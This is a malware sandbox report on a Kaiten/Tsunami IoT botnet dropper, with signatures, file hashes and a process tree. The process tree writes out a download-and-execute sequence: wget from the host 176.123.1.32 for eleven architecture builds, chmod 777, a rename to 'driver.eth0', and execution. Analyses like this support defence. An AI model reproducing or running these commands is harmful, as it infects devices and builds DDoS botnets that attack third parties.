Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-08-2024 17:51

General

  • Target

    a

  • Size

    1KB

  • MD5

    b9befa17ec3fd1f1e6578a484a24d5f2

  • SHA1

    bacbd92599131e2633a7780540677b859d3f62e0

  • SHA256

    10795dd5d92ebda288692b36bb0197f1b3a21351984046c94d84cba7c1c88273

  • SHA512

    6bd3e394a9d364d3316f01b19b2b23439ca1b048850502d8778f9de76db75739f108d67de271bb119a69181cbdfe998d7afcb6a3dda7ff1ae1ffdad3d4c0a6a9

Score
10/10

Malware Config

Signatures

  • Detects Kaiten/Tsunami Payload 11 IoCs
  • Kaiten/Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Executes dropped EXE 11 IoCs
  • Reads runtime system information 11 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a
    /tmp/a
    1⤵
      PID:1496
      • /usr/bin/wget
        wget http://176.123.1.32/botirc.mips
        2⤵
        • Writes file to tmp directory
        PID:1497
      • /bin/chmod
        chmod 777 botirc.mips
        2⤵
          PID:1501
        • /bin/mv
          mv botirc.mips driver.eth0
          2⤵
          • Reads runtime system information
          PID:1502
        • /tmp/driver.eth0
          ./driver.eth0
          2⤵
          • Executes dropped EXE
          PID:1503
        • /usr/bin/wget
          wget http://176.123.1.32/botirc.arm7
          2⤵
          • Writes file to tmp directory
          PID:1505
        • /bin/chmod
          chmod 777 botirc.arm7
          2⤵
            PID:1506
          • /bin/mv
            mv botirc.arm7 driver.eth0
            2⤵
            • Reads runtime system information
            PID:1507
          • /tmp/driver.eth0
            ./driver.eth0
            2⤵
            • Executes dropped EXE
            PID:1508
          • /usr/bin/wget
            wget http://176.123.1.32/botirc.arm5
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 botirc.arm5
            2⤵
              PID:1511
            • /bin/mv
              mv botirc.arm5 driver.eth0
              2⤵
              • Reads runtime system information
              PID:1512
            • /tmp/driver.eth0
              ./driver.eth0
              2⤵
              • Executes dropped EXE
              PID:1513
            • /usr/bin/wget
              wget http://176.123.1.32/botirc.arm6
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /bin/chmod
              chmod 777 botirc.arm6
              2⤵
                PID:1516
              • /bin/mv
                mv botirc.arm6 driver.eth0
                2⤵
                • Reads runtime system information
                PID:1517
              • /tmp/driver.eth0
                ./driver.eth0
                2⤵
                • Executes dropped EXE
                PID:1518
              • /usr/bin/wget
                wget http://176.123.1.32/botirc.arm
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/chmod
                chmod 777 botirc.arm
                2⤵
                  PID:1521
                • /bin/mv
                  mv botirc.arm driver.eth0
                  2⤵
                  • Reads runtime system information
                  PID:1522
                • /tmp/driver.eth0
                  ./driver.eth0
                  2⤵
                  • Executes dropped EXE
                  PID:1523
                • /usr/bin/wget
                  wget http://176.123.1.32/botirc.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:1525
                • /bin/chmod
                  chmod 777 botirc.i686
                  2⤵
                    PID:1526
                  • /bin/mv
                    mv botirc.i686 driver.eth0
                    2⤵
                    • Reads runtime system information
                    PID:1527
                  • /tmp/driver.eth0
                    ./driver.eth0
                    2⤵
                    • Executes dropped EXE
                    PID:1528
                  • /usr/bin/wget
                    wget http://176.123.1.32/botirc.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/chmod
                    chmod 777 botirc.m68k
                    2⤵
                      PID:1531
                    • /bin/mv
                      mv botirc.m68k driver.eth0
                      2⤵
                      • Reads runtime system information
                      PID:1532
                    • /tmp/driver.eth0
                      ./driver.eth0
                      2⤵
                      • Executes dropped EXE
                      PID:1533
                    • /usr/bin/wget
                      wget http://176.123.1.32/botirc.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:1535
                    • /bin/chmod
                      chmod 777 botirc.mpsl
                      2⤵
                        PID:1536
                      • /bin/mv
                        mv botirc.mpsl driver.eth0
                        2⤵
                        • Reads runtime system information
                        PID:1537
                      • /tmp/driver.eth0
                        ./driver.eth0
                        2⤵
                        • Executes dropped EXE
                        PID:1538
                      • /usr/bin/wget
                        wget http://176.123.1.32/botirc.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:1540
                      • /bin/chmod
                        chmod 777 botirc.ppc
                        2⤵
                          PID:1541
                        • /bin/mv
                          mv botirc.ppc driver.eth0
                          2⤵
                          • Reads runtime system information
                          PID:1542
                        • /tmp/driver.eth0
                          ./driver.eth0
                          2⤵
                          • Executes dropped EXE
                          PID:1543
                        • /usr/bin/wget
                          wget http://176.123.1.32/botirc.sh4
                          2⤵
                          • Writes file to tmp directory
                          PID:1545
                        • /bin/chmod
                          chmod 777 botirc.sh4
                          2⤵
                            PID:1546
                          • /bin/mv
                            mv botirc.sh4 driver.eth0
                            2⤵
                            • Reads runtime system information
                            PID:1547
                          • /tmp/driver.eth0
                            ./driver.eth0
                            2⤵
                            • Executes dropped EXE
                            PID:1548
                          • /usr/bin/wget
                            wget http://176.123.1.32/botirc.x86
                            2⤵
                            • Writes file to tmp directory
                            PID:1550
                          • /bin/chmod
                            chmod 777 botirc.x86
                            2⤵
                              PID:1551
                            • /bin/mv
                              mv botirc.x86 driver.eth0
                              2⤵
                              • Reads runtime system information
                              PID:1552
                            • /tmp/driver.eth0
                              ./driver.eth0
                              2⤵
                              • Executes dropped EXE
                              PID:1553

                          Network

                          MITRE ATT&CK Matrix

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/botirc.arm

                            Filesize

                            80KB

                            MD5

                            230b810b1ccfa160ed883481415c17e9

                            SHA1

                            b2b9f9702f7c45a99aa883d1c09f72f7b30178df

                            SHA256

                            50f1703bc940d6f089f4bc88843b067a6dd160f1f0fa8c8f8753645fdec72c51

                            SHA512

                            0720eabc44d4e64679109d1647e0693e13a79d7fd7182588b581a9d0fd8949de511d825dab80e1a863ff93f82233c235db8d6b415b3f033f2c9f8e1c73953a17

                          • /tmp/botirc.arm5

                            Filesize

                            33KB

                            MD5

                            0666a3a5a5708019b91abd0cb49b6edc

                            SHA1

                            5516d3bc73ec89f8da82353a794a300342c935b7

                            SHA256

                            7764cb8273b6a081d0ff7ae03b597c4cf8324f3e12ab747e9e2952f784d5eb31

                            SHA512

                            6465759ac57572fc2140f5a683d3ac8f9e0bd0f6923ddf28277d38302f2e7d8171617e092a82a3bc6cd18ad4e6b799557a05317e9cc4c7b4b77359e9c306b580

                          • /tmp/botirc.arm6

                            Filesize

                            92KB

                            MD5

                            4950c0663fd6e23a4e051aa2df40be6a

                            SHA1

                            5f38959854a181da3ac960bb7e6bcf86c7c5e81e

                            SHA256

                            a8715e839217f5a42bc8ef43dbede42fb4d8df858ca57ea1ba19a2d592c15e24

                            SHA512

                            eb45df9a2e4f60eac458dc925236d11215041604523441c03c5c49a83e9bed9a0519e732ffcdceefbc005efc57a05a569d6b3772e7b471cd5339cefb3f7ad89a

                          • /tmp/botirc.arm7

                            Filesize

                            153KB

                            MD5

                            01b9e69dcb41c1b2f8a73dfbe3a03fc3

                            SHA1

                            f216d5646186f208d8ecd19908f710d9810b8360

                            SHA256

                            16732f097af3bd905dde2ab557e574d1ec5188af1bf4b4020614ee394e3b52c9

                            SHA512

                            b3ba52b8c51fee6687912390494d471bb3ba7d6bbf3bb77524ce96fcad20d857d777ee8e4b34576e5afe86942ade3dda5787a82a8f54d35fb5bdc09fdfda3011

                          • /tmp/botirc.i686

                            Filesize

                            60KB

                            MD5

                            9dbee98633e8ea12a0ea9d89850395ef

                            SHA1

                            9ff91da8b0313f4513a4cc2204aed67205487588

                            SHA256

                            6fdc6218b22fe56a22805e2cfe77f0e4c3c35bf7416f792f9aac0f49d8fe61ee

                            SHA512

                            ae24d6b8067f6bc0960dd852e8261892816c5efc76aa93d8198a7cebf9cc438d2405e5e910df687a4467d6fe2b7217ab815e2d7032a51b1bae31d0ff481dade3

                          • /tmp/botirc.m68k

                            Filesize

                            76KB

                            MD5

                            375e4983b3c9a1d4bfa1881d5ebdedb6

                            SHA1

                            4a2517c600ce0564f5a17050c3b348799cfc4214

                            SHA256

                            58df02cc367f5e445584bdaf399989c65734ac1cb349197550be2aca109ca871

                            SHA512

                            4b4f1989315d4ff6d1b985292ef5aff53214c377e6c895140682d72a26abd4a092237a8420bcc08311c3de75737bee7d17fb1e714f265b7fdf3f58db202e82e9

                          • /tmp/botirc.mips

                            Filesize

                            88KB

                            MD5

                            356fb8228ff77baa0b8bda8fc7ed9ca7

                            SHA1

                            e0612b67477f0c30894bec9d113a94f05d04e648

                            SHA256

                            6c121a7179706dba4f2c76d4995488ebe492b831dc3c3dcc6b6938911b5b041d

                            SHA512

                            7b0331cdc1cad3aebe594622a4989b72631a0181cec1aaed9a474e8c3b4a3b1ef49c7edd6ef157a6fa10b70ed78a68f25f6d7511e550c9defd26d8d33cea0604

                          • /tmp/botirc.mpsl

                            Filesize

                            88KB

                            MD5

                            8056d097e1340b7c4f8e34890f4dcb79

                            SHA1

                            e61a7766e15df7ee5e1788eae07272faf2d45e94

                            SHA256

                            7bfd44d5db818732f710809434fa4c3c2dbc001c27016710edba58e047283f1f

                            SHA512

                            d9500d174f9d88659cfaec99ec9e72dfec1cc0be3ba7393810f620882efbe9172b21d57a17ad1b35d1ad6c6e10c0039ce6f4467b5ded4a7f9a46ffc5829821a6

                          • /tmp/botirc.ppc

                            Filesize

                            69KB

                            MD5

                            575b8a7a7a34a59916ac2dca17b46a9d

                            SHA1

                            3c0db7fe1e619dae66648fc2c8803854d8f4c438

                            SHA256

                            0a073f905cfa696a77a34a7217e7b9006bf0cc2b45da59de2bf983fd58d91648

                            SHA512

                            9ad087f848f58ad629ce6d41029a9db190a9f8c7d3560b8978815bdfd1536a78ce0fc24e5debfd04499ff38edff58d28acf15290848583f674c4184ae90977fa

                          • /tmp/botirc.sh4

                            Filesize

                            62KB

                            MD5

                            2d1b33df3d011a2114e214144fc15eed

                            SHA1

                            e9fddb6d7ec33f348c274cd6237d92dca234e8a9

                            SHA256

                            c5952262a01f18bab640b314ca71ff85b4fe423ad82ba912b2146f55abaeab50

                            SHA512

                            d49c0fc4f1502aab542d069c5bc18a415f477ec25892b26b67ca92ee4c9f32446eee608ecb7f34112164dff88eeee4caab058798c8558c5903aadc67577d6401

                          • /tmp/botirc.x86

                            Filesize

                            58KB

                            MD5

                            3a060ab202d9bffe1443a20c4871c236

                            SHA1

                            047f71e6c59270e292f5ac534b41f944144312bd

                            SHA256

                            4e21f5e14cc94b4fbd2c1df83799592a39e9ee15075daf1ab73bb361e64efdf8

                            SHA512

                            9355a568fdcbf2df2af808cc0af6dccc9f3ab6a2c6d26d7b181b6fb79f7433bd8480277ec26911cbbe80acb06698d2bf66aedbf3a33596842bfa8ff6dc495090